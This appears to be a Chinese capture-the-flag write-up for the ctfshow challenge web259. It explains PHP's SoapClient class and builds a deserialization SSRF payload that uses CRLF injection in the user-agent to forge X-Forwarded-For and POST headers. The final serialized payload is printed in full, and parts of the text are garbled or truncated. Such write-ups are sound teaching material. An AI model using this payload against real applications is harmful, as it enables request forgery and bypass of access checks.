web259(超详细)
SoapClient看完之后还不是很懂的话就可以去下面的两个网址去补充一下
SoapClient
是 PHP 中用于与 SOAP(Simple Object Access Protocol)服务进行通信的内置类。SOAP 是一种基于 XML 的协议,用于在分布式环境中交换结构化信息。
以下是关于 SoapClient
类的详细解释:
-
创建
SoapClient
对象: 你可以使用new SoapClient
关键字来创建一个SoapClient
实例,用于与远程 SOAP 服务通信。php 复制代码 $client = new SoapClient($wsdl, $options);
$wsdl
:指定 WSDL 文件的 URL 或者null
,表示不使用 WSDL 文件。$options
:是一个可选参数,是一个关联数组,用于配置SoapClient
的行为。
-
配置选项: 在
$options
参数中,你可以设置一系列选项来配置SoapClient
对象的行为。一些常见的选项包括:location
:指定服务端点的 URL。uri
:指定 SOAP 请求和响应的命名空间。trace
:设置为true
以启用请求和响应的跟踪。exceptions
:设置为true
以在发生错误时抛出异常。
-
调用远程方法: 一旦创建了
SoapClient
对象,你可以使用它来调用远程 SOAP 服务的方法。调用方法的方式与调用本地对象的方法类似。php 复制代码 $result = $client->methodName($param1, $param2, ...);
这里的
methodName
是远程 SOAP 服务中的一个方法名称,$param1
、$param2
等是要传递给该方法的参数。 -
处理响应: 远程方法调用的结果将会作为 PHP 对象或者数组返回,具体取决于 SOAP 服务的返回值。
-
错误处理: 如果 SOAP 请求失败,
SoapClient
会根据exceptions
选项的设置抛出异常或者返回false
。你可以通过捕获异常或者检查返回值来处理错误。
总的来说,SoapClient
类提供了一个方便的方式来与远程 SOAP 服务进行通信,使得你可以轻松地调用远程服务的方法并处理返回结果。
想了解更多关于SoapClient可以去下面的两个网址去补充一下
PHP SoapClient:多功能的Web Service调用工具 - 七彩鱼丸 - 博客园 (cnblogs.com)
SoapClient原生类在开发以及安全中利用_soapclient() call()-CSDN博客
[SoapClient反序列化SSRF - 知乎 (zhSoapClient原生类在开发以及安全中利用_soapclient() call()-CSDN博客ihu.com)](https://zhuanlan.zhihu.com/p/80918004)
回归正题
首先在题目上
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
explode()
函数是 PHP 中用于将字符串分割成数组的函数。它接受三个参数:
separator
:分隔符,用于指定在哪里进行分割字符串。当在字符串中找到分隔符时,字符串将被分割成多个部分。例如,如果分隔符是空格,则字符串将根据空格进行分割。string
:要分割的字符串。limit
(可选):可选参数,用于限制返回的数组的大小。如果提供了此参数,则将最多分割成limit
个部分。剩余的部分将被作为数组的最后一个元素。如果省略了此参数或者设为负值,则不进行限制。
下面是一个示例,演示了如何使用 explode()
函数:
php复制代码$str = "apple,banana,orange";
// 使用逗号作为分隔符将字符串分割成数组
$arr = explode(",", $str);
// 输出数组
print_r($arr);
输出:
csharp复制代码Array
(
[0] => apple
[1] => banana
[2] => orange
)
在这个示例中,我们将一个包含水果名称的字符串使用逗号作为分隔符分割成数组。结果数组中包含了每个水果名称作为一个元素。
array_pop()则是删除最后一个取倒数第二个
127.0.0.1 #返回:空
127.0.0.1,127.0.0.2 #返回:127.0.0.1
127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2
题目
它调用了一个不纯在的方法
结合flag.php可以想到利用
SoapClient类去利用_call魔术方法进行伪造
搞个nc在本地试一下(在网上搜一下即可)
环境变量不能用的话
就找到php.ini文件修改里面的
;extension=php_soap.dll
把;去掉即可
之后监听一个9999端口 nc -lp 9999
<?php
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php'));
$client->getFlag();
是一个post请求SOAPAction的值是可控的
但是Content-Type是xml形式的
post请求应为application/x-www-form-urlencoded形式
我们可以想办法让下面的内容失效Content-Type上面即是ua头所以我们尝试去控制ua头
<?php
$ua = "Lxxx";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
$client->getFlag();
成功了
接下来就好办了
我们可以利用\r\n这两个换行符去构造各种各种的头去凑出我们想要的post请求
当然最后别忘了设置Content-Length的值为13
也就是token=ctfshow的长度
剩下的就会被丢弃
'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua)); $client->getFlag(); ![](https://img2024.cnblogs.com/blog/3450162/202405/3450162-20240521183051383-1606673187.png) 最终即是 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua)); print_r(urlencode(serialize($client))); 传入 vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 访问flag.txt即可